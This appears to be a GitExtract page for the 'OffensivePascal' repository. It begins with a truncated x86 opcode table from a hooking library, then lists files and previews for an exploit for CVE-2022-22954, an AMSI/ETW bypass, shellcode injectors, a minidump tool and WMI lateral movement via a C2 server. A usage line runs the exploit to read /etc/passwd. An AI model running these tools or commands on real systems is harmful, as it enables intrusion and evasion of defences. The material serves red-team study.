{0xC8} 21, {BSWAP}
{0xC9} 21, {BSWAP}
{0xCA} 21, {BSWAP}
{0xCB} 21, {BSWAP}
{0xCC} 21, {BSWAP}
{0xCD} 21, {BSWAP}
{0xCE} 21, {BSWAP}
{0xCF} 21, {BSWAP}
{0xD0} 71, {InvalidOpCode/VADDSUBPD/VADDSUBPS}
{0xD1} 60, {PSRLW/InvalidOpCode/VPSRLW}
{0xD2} 60, {PSRLD/InvalidOpCode/VPSRLD}
{0xD3} 60, {PSRLQ/InvalidOpCode/VPSRLQ}
{0xD4} 60, {InvalidOpCode/VPADDQ/PADDQ}
{0xD5} 60, {PMULLW/InvalidOpCode/VPMULLW}
{0xD6} 79, {InvalidOpCode/MOVDQ2Q/MOVQ2DQ/VMOVQ}
{0xD7} 60, {InvalidOpCode/VPMOVMSKB/PMOVMSKB}
{0xD8} 60, {PSUBUSB/VPSUBUSB}
{0xD9} 60, {PSUBUSW/VPSUBUSW}
{0xDA} 60, {VPMINUB/PMINUB}
{0xDB} 60, {PAND/VPAND}
{0xDC} 60, {PADDUSB/VPADDUSB}
{0xDD} 60, {PADDUSW/VPADDUSW}
{0xDE} 60, {VPMAXUB/PMAXUB}
{0xDF} 60, {PANDN/VPANDN}
{0xE0} 60, {InvalidOpCode/VPAVGB/PAVGB}
{0xE1} 60, {PSRAW/InvalidOpCode/VPSRAW}
{0xE2} 60, {PSRAD/InvalidOpCode/VPSRAD}
{0xE3} 60, {InvalidOpCode/VPAVGW/PAVGW}
{0xE4} 60, {InvalidOpCode/VPMULHUW/PMULHUW}
{0xE5} 60, {PMULHW/InvalidOpCode/VPMULHW}
{0xE6} 79, {InvalidOpCode/VCVTTPD2DQ/VCVTPD2DQ/VCVTDQ2PD}
{0xE7} 60, {InvalidOpCode/VMOVNTDQ/MOVNTQ}
{0xE8} 60, {PSUBSB/VPSUBSB}
{0xE9} 60, {PSUBSW/VPSUBSW}
{0xEA} 60, {VPMINSW/PMINSW}
{0xEB} 60, {POR/VPOR}
{0xEC} 60, {PADDSB/VPADDSB}
{0xED} 60, {PADDSW/VPADDSW}
{0xEE} 60, {VPMAXSW/PMAXSW}
{0xEF} 60, {PXOR/VPXOR}
{0xF0} 80, {InvalidOpCode/VLDDQU}
{0xF1} 60, {PSLLW/InvalidOpCode/VPSLLW}
{0xF2} 60, {PSLLD/InvalidOpCode/VPSLLD}
{0xF3} 60, {PSLLQ/InvalidOpCode/VPSLLQ}
{0xF4} 60, {InvalidOpCode/VPMULUDQ/PMULUDQ}
{0xF5} 60, {PMADDWD/InvalidOpCode/VPMADDWD}
{0xF6} 60, {InvalidOpCode/VPSADBW/PSADBW}
{0xF7} 60, {InvalidOpCode/VMASKMOVDQU/MASKMOVQ}
{0xF8} 60, {PSUBB/VPSUBB}
{0xF9} 60, {PSUBW/VPSUBW}
{0xFA} 60, {PSUBD/VPSUBD}
{0xFB} 60, {VPSUBQ/PSUBQ}
{0xFC} 60, {PADDB/VPADDB}
{0xFD} 60, {PADDW/VPADDW}
{0xFE} 60, {PADDD/VPADDD}
{0xFF} 00 {InvalidOpCode}
);
{============================================
                  ThreeByteTable38                    
============================================}
const ThreeByteTable38 : array[Byte] of Byte =(//
{0x00} 60, {VPSHUFB/PSHUFB}
{0x01} 60, {VPHADDW/PHADDW}
{0x02} 60, {VPHADDD/PHADDD}
{0x03} 60, {VPHADDSW/PHADDSW}
{0x04} 60, {VPMADDUBSW/PMADDUBSW}
{0x05} 60, {VPHSUBW/PHSUBW}
{0x06} 60, {VPHSUBD/PHSUBD}
{0x07} 60, {VPHSUBSW/PHSUBSW}
{0x08} 60, {VPSIGNB/PSIGNB}
{0x09} 60, {VPSIGNW/PSIGNW}
{0x0A} 60, {VPSIGND/PSIGND}
{0x0B} 60, {VPMULHRSW/PMULHRSW}
{0x0C} 66, {VPERMILPS/InvalidOpCode}
{0x0D} 66, {VPERMILPD/InvalidOpCode}
{0x0E} 66, {VTESTPS/InvalidOpCode}
{0x0F} 66, {VTESTPD/InvalidOpCode}
{0x10} 66, {InvalidOpCode/PBLENDVB}
{0x11} 00, {InvalidOpCode}
{0x12} 00, {InvalidOpCode}
{0x13} 66, {VCVTPH2PS/InvalidOpCode}
{0x14} 66, {InvalidOpCode/BLENDVPS}
{0x15} 66, {InvalidOpCode/BLENDVPD}
{0x16} 66, {VPERMPS/InvalidOpCode}
{0x17} 66, {InvalidOpCode/VPTEST}
{0x18} 66, {VBROADCASTSS/InvalidOpCode}
{0x19} 66, {VBROADCASTSD/InvalidOpCode}
{0x1A} 66, {VBROADCASTF128/InvalidOpCode}
{0x1B} 00, {InvalidOpCode}
{0x1C} 60, {VPABSB/PABSB}
{0x1D} 60, {VPABSW/PABSW}
{0x1E} 60, {VPABSD/PABSD}
{0x1F} 00, {InvalidOpCode}
{0x20} 66, {InvalidOpCode/VPMOVSXBW}
{0x21} 66, {InvalidOpCode/VPMOVSXBD}
{0x22} 66, {InvalidOpCode/VPMOVSXBQ}
{0x23} 66, {InvalidOpCode/VPMOVSXWD}
{0x24} 66, {InvalidOpCode/VPMOVSXWQ}
{0x25} 66, {InvalidOpCode/VPMOVSXDQ}
{0x26} 00, {InvalidOpCode}
{0x27} 00, {InvalidOpCode}
{0x28} 66, {InvalidOpCode/VPMULDQ}
{0x29} 66, {InvalidOpCode/VPCMPEQQ}
{0x2A} 66, {InvalidOpCode/VMOVNTDQA}
{0x2B} 66, {InvalidOpCode/VPACKUSDW}
{0x2C} 66, {VMASKMOVPS/InvalidOpCode}
{0x2D} 66, {VMASKMOVPD/InvalidOpCode}
{0x2E} 66, {VMASKMOVPS/InvalidOpCode}
{0x2F} 66, {VMASKMOVPD/InvalidOpCode}
{0x30} 66, {InvalidOpCode/VPMOVZXBW}
{0x31} 66, {InvalidOpCode/VPMOVZXBD}
{0x32} 66, {InvalidOpCode/VPMOVZXBQ}
{0x33} 66, {InvalidOpCode/VPMOVZXWD}
{0x34} 66, {InvalidOpCode/VPMOVZXWQ}
{0x35} 66, {InvalidOpCode/VPMOVZXDQ}
{0x36} 66, {VPERMD/InvalidOpCode}
{0x37} 66, {InvalidOpCode/VPCMPGTQ}
{0x38} 66, {InvalidOpCode/VPMINSB}
{0x39} 66, {InvalidOpCode/VPMINSD}
{0x3A} 66, {InvalidOpCode/VPMINUW}
{0x3B} 66, {InvalidOpCode/VPMINUD}
{0x3C} 66, {InvalidOpCode/VPMAXSB}
{0x3D} 66, {InvalidOpCode/VPMAXSD}
{0x3E} 66, {InvalidOpCode/VPMAXUW}
{0x3F} 66, {InvalidOpCode/VPMAXUD}
{0x40} 66, {InvalidOpCode/VPMULLD}
{0x41} 66, {InvalidOpCode/VPHMINPOSUW}
{0x42} 00, {InvalidOpCode}
{0x43} 00, {InvalidOpCode}
{0x44} 00, {InvalidOpCode}
{0x45} 66, {VPSRLVQ/InvalidOpCode}
{0x46} 66, {VPSRAVD/InvalidOpCode}
{0x47} 66, {VPSLLVQ/VPSLLVD/InvalidOpCode}
{0x48} 00, {InvalidOpCode}
{0x49} 00, {InvalidOpCode}
{0x4A} 00, {InvalidOpCode}
{0x4B} 00, {InvalidOpCode}
{0x4C} 00, {InvalidOpCode}
{0x4D} 00, {InvalidOpCode}
{0x4E} 00, {InvalidOpCode}
{0x4F} 00, {InvalidOpCode}
{0x50} 00, {InvalidOpCode}
{0x51} 00, {InvalidOpCode}
{0x52} 00, {InvalidOpCode}
{0x53} 00, {InvalidOpCode}
{0x54} 00, {InvalidOpCode}
{0x55} 00, {InvalidOpCode}
{0x56} 00, {InvalidOpCode}
{0x57} 00, {InvalidOpCode}
{0x58} 66, {VPBROADCASTD/InvalidOpCode}
{0x59} 66, {VPBROADCASTQ/InvalidOpCode}
{0x5A}
Download .txt
gitextract_5mnzhpfu/

├── COFF_Loader/
│   ├── README.md
│   ├── project1.lpi
│   ├── project1.lpr
│   └── whoami.o
├── CVE-2022-22954/
│   ├── exploit.lpi
│   ├── exploit.lpr
│   ├── release/
│   │   ├── exploit
│   │   └── file.txt
│   └── usage.md
├── Detour Hooking/
│   ├── AmsiHook.lpi
│   ├── AmsiHook.lpr
│   ├── Source/
│   │   ├── CPUID.pas
│   │   ├── DDetours.pas
│   │   ├── DDetoursDefs.inc
│   │   ├── InstDecode.pas
│   │   ├── LegacyTypes.pas
│   │   ├── ModRmFlagsTables.inc
│   │   ├── OpCodesTables.inc
│   │   └── TlHelp32.inc
│   └── readme.md
├── MiniDump/
│   ├── mini_dump_un.pas
│   ├── minidump.lpi
│   └── minidump.lpr
├── README.md
├── Simple Shellcode injection/
│   ├── info.md
│   ├── injector.lpi
│   └── injector.lpr
├── SpringCore-Scanner/
│   ├── compiled/
│   │   └── Linux/
│   │       ├── readme.md
│   │       └── springcore_sanner
│   ├── readme.md
│   ├── springcore_sanner.lpi
│   └── springcore_sanner.lpr
├── WMI Lateral movement/
│   ├── lat.lpi
│   ├── lat.lpr
│   └── readme.md
└── XOR Shellcode injection/
    ├── injector.lpi
    └── injector.lpr
Condensed preview — 37 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (260K chars).
[
  {
    "path": "COFF_Loader/README.md",
    "chars": 842,
    "preview": "\n## Offsec Pascal \n\nThe first ported COFF loader into Pascal Language, it is easier now with the DLL release from sliver"
  },
  {
    "path": "COFF_Loader/project1.lpi",
    "chars": 1592,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<CONFIG>\r\n  <ProjectOptions>\r\n    <Version Value=\"12\"/>\r\n    <PathDelim Value=\"\\"
  },
  {
    "path": "COFF_Loader/project1.lpr",
    "chars": 5260,
    "preview": "{\r\n\r\n  ^^^^^^^\r\n  SIMPLE COFF LOADER IN PASCAL\r\n  ^^^^^^^\r\n\r\n\r\n Author : Lawrence @zux0x3a  - Part of Offensive Pascal L"
  },
  {
    "path": "CVE-2022-22954/exploit.lpi",
    "chars": 3364,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"11\"/>\n    <General>\n      <Flags>"
  },
  {
    "path": "CVE-2022-22954/exploit.lpr",
    "chars": 3857,
    "preview": "{\n\nthe original PoC has been shared by the following\n\nhttps://github.com/sherlocksecurity/VMware-CVE-2022-22954\nhttps://"
  },
  {
    "path": "CVE-2022-22954/release/file.txt",
    "chars": 1,
    "preview": "\n"
  },
  {
    "path": "CVE-2022-22954/usage.md",
    "chars": 85,
    "preview": "\n## usage \n\nchmod +x exploit\n./exploit -i https://localhost -c \"cat /etc/passwd\"\n\n\n\n\n"
  },
  {
    "path": "Detour Hooking/AmsiHook.lpi",
    "chars": 4279,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<CONFIG>\r\n  <ProjectOptions>\r\n    <Version Value=\"12\"/>\r\n    <PathDelim Value=\"\\"
  },
  {
    "path": "Detour Hooking/AmsiHook.lpr",
    "chars": 3669,
    "preview": "\r\n{\r\n\r\n     ** Title : Bypass AMSI / ETW patching using Detour Hooking\r\n     ** Author : @zux0x3a / 0xsp.com\r\n\r\n     The"
  },
  {
    "path": "Detour Hooking/Source/CPUID.pas",
    "chars": 5585,
    "preview": "// **************************************************************************************************\n// CPUID for Delph"
  },
  {
    "path": "Detour Hooking/Source/DDetours.pas",
    "chars": 77927,
    "preview": "// **************************************************************************************************\n// Delphi Detours "
  },
  {
    "path": "Detour Hooking/Source/DDetoursDefs.inc",
    "chars": 769,
    "preview": "{.$DEFINE HOOK_INTERNAL_FUNCTIONS}   // hook internal functions.\n\n{$IFDEF FPC}\n  {$ASMMODE INTEL}\n{$ELSE !FPC}\n\n{$T-}\n\n{"
  },
  {
    "path": "Detour Hooking/Source/InstDecode.pas",
    "chars": 65433,
    "preview": "// **************************************************************************************************\n// x86 Instruction"
  },
  {
    "path": "Detour Hooking/Source/LegacyTypes.pas",
    "chars": 873,
    "preview": "// **************************************************************************************************\n//\n// https://gith"
  },
  {
    "path": "Detour Hooking/Source/ModRmFlagsTables.inc",
    "chars": 5419,
    "preview": "// **************************************************************************************************\n// Part of x86 Ins"
  },
  {
    "path": "Detour Hooking/Source/OpCodesTables.inc",
    "chars": 31505,
    "preview": "// **************************************************************************************************\n// Part of x86 Ins"
  },
  {
    "path": "Detour Hooking/Source/TlHelp32.inc",
    "chars": 1045,
    "preview": "{ TlHelp32 types for fpc }\n\nconst\n  TH32CS_SNAPHEAPLIST = $00000001;\n  TH32CS_SNAPPROCESS  = $00000002;\n  TH32CS_SNAPTHR"
  },
  {
    "path": "Detour Hooking/readme.md",
    "chars": 870,
    "preview": "\n\n## AMSI / ETW bypass \n\nThe idea of this project is to use Detour library to intercept and redirect functions calls wit"
  },
  {
    "path": "MiniDump/mini_dump_un.pas",
    "chars": 6991,
    "preview": "unit mini_dump_un;\n\n{$IFDEF FPC}\n  {$MODE Delphi}\n{$ENDIF}\n\ninterface\n\nuses\n  SysUtils,JwaTlHelp32,windows;\nconst\n  //Db"
  },
  {
    "path": "MiniDump/minidump.lpi",
    "chars": 1515,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n"
  },
  {
    "path": "MiniDump/minidump.lpr",
    "chars": 2094,
    "preview": "\n  {\n\n   this one is part of repo published on github under the name of Offensive Pascal\n   Pascal is a great and still "
  },
  {
    "path": "README.md",
    "chars": 1030,
    "preview": "\n![image](https://raw.githubusercontent.com/0xsp-SRD/0xsp.com/main/images/lazarus-icon-250x250.webp)\n\n\n# OffensivePascal"
  },
  {
    "path": "Simple Shellcode injection/info.md",
    "chars": 456,
    "preview": "to generate formatted pascal shellcode using Msfvenom you can achieve that by the exeucting the following command for an"
  },
  {
    "path": "Simple Shellcode injection/injector.lpi",
    "chars": 1454,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n"
  },
  {
    "path": "Simple Shellcode injection/injector.lpr",
    "chars": 3844,
    "preview": "{\n  this one is part of repo published on github under the name of Offensive Pascal\n  Pascal is a great and still up to "
  },
  {
    "path": "SpringCore-Scanner/compiled/Linux/readme.md",
    "chars": 434,
    "preview": "compiled for debian and ubuntu\n\n```\nSingle scan: /home/kali/springcore scanner/springcore_sanner -s -u http://host -p 80"
  },
  {
    "path": "SpringCore-Scanner/readme.md",
    "chars": 498,
    "preview": "for compiling you need Lazarus IDE\n\n- open project file \n- build the project \n\n### usage \n\n```\nSingle scan: /home/kali/s"
  },
  {
    "path": "SpringCore-Scanner/springcore_sanner.lpi",
    "chars": 1458,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"11\"/>\n    <General>\n      <Flags>"
  },
  {
    "path": "SpringCore-Scanner/springcore_sanner.lpr",
    "chars": 3664,
    "preview": "program springcore_sanner;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}{$IFDEF UseCThreads}\n  cthreads,\n  {$ENDIF}{$ENDIF}"
  },
  {
    "path": "WMI Lateral movement/lat.lpi",
    "chars": 1395,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n"
  },
  {
    "path": "WMI Lateral movement/lat.lpr",
    "chars": 3301,
    "preview": "program lat;\n\n{$mode objfpc}{$H+}\n\nuses\n  {$IFDEF UNIX}\n  cthreads,\n  {$ENDIF}\n  Classes,windows, SysUtils,FPHTTPClient,"
  },
  {
    "path": "WMI Lateral movement/readme.md",
    "chars": 381,
    "preview": "#### Usage \nlat.exe \n* -host { host would like to lateral move to } \n* -srvhost {remote C2 server holding backdoor such "
  },
  {
    "path": "XOR Shellcode injection/injector.lpi",
    "chars": 1454,
    "preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<CONFIG>\n  <ProjectOptions>\n    <Version Value=\"12\"/>\n    <PathDelim Value=\"\\\"/>\n"
  },
  {
    "path": "XOR Shellcode injection/injector.lpr",
    "chars": 5483,
    "preview": "{\n  this one is part of repo published on github under the name of Offensive Pascal\n  Pascal is a great and still up to "
  }
]

// ... and 3 more files (download for full content)

About this extraction

This page contains the full source code of the 0xsp-SRD/OffensivePascal GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 37 files (242.0 KB), approximately 82.7k tokens. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!